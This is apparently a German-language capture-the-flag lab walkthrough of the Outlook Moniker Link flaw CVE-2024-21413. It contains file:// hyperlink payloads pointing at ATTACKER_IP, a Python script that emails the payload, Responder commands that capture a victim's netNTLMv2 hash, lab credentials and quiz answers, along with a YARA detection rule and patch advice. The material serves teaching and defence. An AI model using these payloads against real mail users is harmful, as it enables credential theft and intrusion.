
Am 13. Februar 2024 gab Microsoft eine Sicherheitslücke in Microsoft Outlook bekannt, die eine Remotecodeausführung (RCE) und einen Credential-Leak ermöglicht, mit der zugewiesenen CVE-Nummer CVE-2024-21413 (Moniker Link). Haifei Li von Check Point Research wird die Entdeckung der Sicherheitslücke zugeschrieben. Die Sicherheitslücke umgeht die Sicherheitsmechanismen von Outlook bei der Verarbeitung eines bestimmten Hyperlink-Typs.
Am 13. Februar 2024 gab Microsoft eine Sicherheitslücke in Microsoft Outlook bekannt, die zu Remote Code Execution (RCE) und einem Anmeldeinformationsleck führt, mit der zugewiesenen CVE-Nummer CVE-2024-21413 (Moniker Link). Haifei Li von Check Point Research wird die Entdeckung der Sicherheitslücke zugeschrieben.
Die Sicherheitslücke umgeht die Sicherheitsmechanismen von Outlook, wenn ein bestimmter Hyperlink-Typ, bekannt als Moniker Link, verarbeitet wird. Ein Angreifer kann dies ausnutzen, indem er eine E-Mail sendet, die einen bösartigen Moniker Link an ein Opfer enthält, was dazu führt, dass Outlook die NTLM-Anmeldeinformationen des Benutzers an den Angreifer sendet, sobald der Hyperlink angeklickt wird.
Details zur Bewertung der Sicherheitslücke werden in der folgenden Tabelle bereitgestellt:
CVSS Beschreibung Veröffentlichungsdatum 13. Februar 2024 MS-Artikel https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Auswirkung Remote Code Execution & Anmeldeinformationsleck Schweregrad Kritisch Angriffskomplexität Niedrig Bewertung 9.8
Die Sicherheitslücke betrifft bekanntermaßen die folgenden Office-Versionen:
Edition Version Microsoft Office LTSC 2021 betroffen ab 19.0.0 Microsoft 365 Apps for Enterprise betroffen ab 16.0.1 Microsoft Office 2019 betroffen ab 16.0.1 Microsoft Office 2016 betroffen ab 16.0.0 vor 16.0.5435.1001
Beachten Sie, dass Sie sowohl die AttackBox als auch die verletzliche Maschine benötigen, die dieser Aufgabe zugeordnet sind. Um die zugehörige VM bereitzustellen, klicken Sie auf die grüne Schaltfläche „Start Machine" unten.
Benutzername tryhackme Passwort Kkh3gv439dnq!
Welche „Schweregrad"-Einstufung wurde der CVE zugewiesen? > ANTWORT : Kritisch
Outlook kann E-Mails als HTML rendern. Vielleicht ist Ihnen aufgefallen, dass dies von Ihren Lieblingsnewslettern verwendet wird. Darüber hinaus kann Outlook Hyperlinks wie HTTP und HTTPS parsen. Es kann jedoch auch URLs öffnen, die als Moniker Links bekannte Anwendungen angeben. Normalerweise zeigt Outlook eine Sicherheitswarnung an, wenn externe Anwendungen ausgelöst werden.
Outlooks geschützte Ansicht wird beim Starten einer externen Anwendung ausgelöst
Dieses Popup ist das Ergebnis von Outlooks "Geschützten Ansicht". Die geschützte Ansicht öffnet E-Mails mit Anhängen, Hyperlinks und ähnlichem Inhalt im schreibgeschützten Modus und blockiert Dinge wie Makros (insbesondere von außerhalb einer Organisation).
Durch die Verwendung des file:// Moniker Links in unserem Hyperlink können wir Outlook anweisen, zu versuchen, auf eine Datei zuzugreifen, z. B. auf eine Datei in einer Netzwerkfreigabe (<a href="file://ATTACKER_IP/test">Click me</a>). Das SMB-Protokoll wird verwendet, was die Verwendung lokaler Anmeldeinformationen zur Authentifizierung beinhaltet. Allerdings fängt und blockiert Outlooks „Geschützte Ansicht" diesen Versuch.
Die Sicherheitslücke besteht hier darin, unseren Hyperlink so zu ändern, dass er das Sonderzeichen ! und einen Text in unserem Moniker Link enthält, was die Umgehung von Outlooks „Geschützter Ansicht" zur Folge hat. Zum Beispiel: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Wir als Angreifer können für den Angriff einen Moniker Link dieser Art bereitstellen. Beachten Sie, dass die Freigabe auf dem entfernten Gerät nicht vorhanden sein muss, da ein Authentifizierungsversuch unabhängig davon versucht wird, was dazu führt, dass der netNTLMv2-Hash des Opfers an den Angreifer gesendet wird.
Remote Code Execution (RCE) ist möglich, da Moniker Links das Component Object Model (COM) unter Windows verwenden. Die Erklärung hierfür liegt jedoch derzeit außerhalb des Rahmens dieses Raums, da es kein öffentlich veröffentlichtes Proof-of-Concept für die Erzielung von RCE über diese spezifische CVE gibt.
Welchen Moniker-Link-Typ verwenden wir im Hyperlink? > ANTWORT : file:// Welches Sonderzeichen wird verwendet, um Outlooks „Geschützte Ansicht" zu umgehen? > ANTWORT : !
Für diesen Angriff senden wir unserem Opfer eine E-Mail mit einem Moniker Link ähnlich dem in der vorherigen Aufgabe. Das Ziel als Angreifer ist es, eine E-Mail an das Opfer mit einem Moniker Link zu erstellen, der Outlooks „Geschützte Ansicht" umgeht, wobei der Client des Opfers versucht, eine Datei von unserem Angriffsrechner zu laden, was dazu führt, dass der netNTLMv2-Hash des Opfers erfasst wird.
Aber zuerst gehen wir einen PoC durch, den ich erstellt habe (der auch auf GitHub verfügbar ist).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Der PoC:
Lasst uns Responder verwenden, um einen SMB-Listener auf unserem Angriffsrechner zu erstellen. Für die THM AttackBox lautet die Schnittstelle -I ens5. Der Schnittstellenname unterscheidet sich, wenn Sie Ihr eigenes Gerät (z. B. Kali) verwenden. Wenn Sie Hausaufgaben machen möchten, kann auch ein Impacket-Server verwendet werden.
Starten von Responder auf unserer AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Öffnen wir die verletzliche Maschine, indem wir auf den Bereich „CVE-2024-21413" in der geteilten Ansicht klicken.
Öffnen Sie Outlook, indem Sie auf die Verknüpfung „Outlook" auf dem Desktop klicken. Wenn Outlook geöffnet ist, klicken Sie im Popup auf „Ich möchte mich nicht anmelden oder ein Konto erstellen".
Schließen Sie das zweite Popup, indem Sie auf das „X" oben rechts im Popup klicken (möglicherweise müssen Sie das Fenster je nach Bildschirmauflösung etwas nach links ziehen).
Wenn Sie fertig sind, sehen Sie die Outlook-Oberfläche. In diesem Raum wurde das Postfach des Opfers bereits in Outlook für Sie eingerichtet.
Kehren Sie zu Ihrer AttackBox zurück. Wir werden den obigen PoC auf die AttackBox kopieren und einfügen.
Dazu erstellen wir eine neue Datei auf der AttackBox: nano exploit.py und verwenden die Ausziehschublade in der geteilten Ansicht. Sehen Sie sich das folgende GIF an, um dies in Aktion zu sehen.
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
Wir müssen einige anfängliche Einrichtungen auf unserer AttackBox durchführen, bevor wir das Python-Skript ausführen:
Wenn Sie fertig sind, können wir den Exploit ausführen. Wenn Sie nach dem Passwort der Angreifer-E-Mail gefragt werden, geben Sie „attacker" ein.
Ausführen von exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Das Python-Skript gibt "Email delivered" aus, wenn die E-Mail gesendet wurde. Wenn das Skript über einen Authentifizierungsfehler klagt, stellen Sie sicher, dass Sie die Werte in exploit.py korrekt ersetzt haben. Kehren wir nun zur verletzlichen Maschine zurück und suchen nach der neuen E-Mail:
Klicken Sie auf den Hyperlink "Click me" und kehren Sie zu unserer Responder-Terminalsitzung auf der AttackBox zurück:
Erfolg! Der netNTLMv2-Hash des Opfers wurde auf unserer AttackBox erfasst.
Wie heißt die Anwendung, die wir auf der AttackBox verwenden, um den Hash des Benutzers zu erfassen? > ANTWORT : responder Welcher Hash-Typ wird erfasst, sobald der Hyperlink in der E-Mail angeklickt wurde? > ANTWORT : netNTLMv2
Eine YARA-Regel wurde von Florian Roth erstellt, um E-Mails zu erkennen, die das file:\-Element im Moniker Link enthalten.
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Zusätzlich kann die SMB-Anfrage vom Opfer an den Client in einem Paketmitschnitt mit einem gekürzten netNTLMv2-Hash gesehen werden.
Klicken Sie, um zur nächsten Aufgabe zu gelangen! > ANTWORT : NO ANSWER
Microsoft hat Patches veröffentlicht, um diese Sicherheitslücke im Februar-„Patch Tuesday"-Release zu beheben. Eine Liste der KB-Artikel nach Office-Build finden Sie hier. Es wird dringend empfohlen, Office über Windows Update oder den Microsoft Update-Katalog zu aktualisieren.
Zusätzlich ist es eine rechtzeitige Erinnerung daran, allgemeine – sichere – Cybersicherheitspraktiken anzuwenden. Zum Beispiel Benutzer daran zu erinnern:
Da diese Sicherheitslücke Outlooks Geschützte Ansicht umgeht, gibt es keine Möglichkeit, Outlook neu zu konfigurieren, um diesen Angriff zu verhindern. Darüber hinaus kann die vollständige Blockierung des SMB-Protokolls mehr schaden als nützen, insbesondere da es für den Zugriff auf Netzwerkfreigaben unerlässlich ist. Sie können dies jedoch je nach Organisation möglicherweise auf Firewall-Ebene blockieren.
Klicken Sie, um zur nächsten Aufgabe zu gelangen. > ANTWORT : NO ANSWER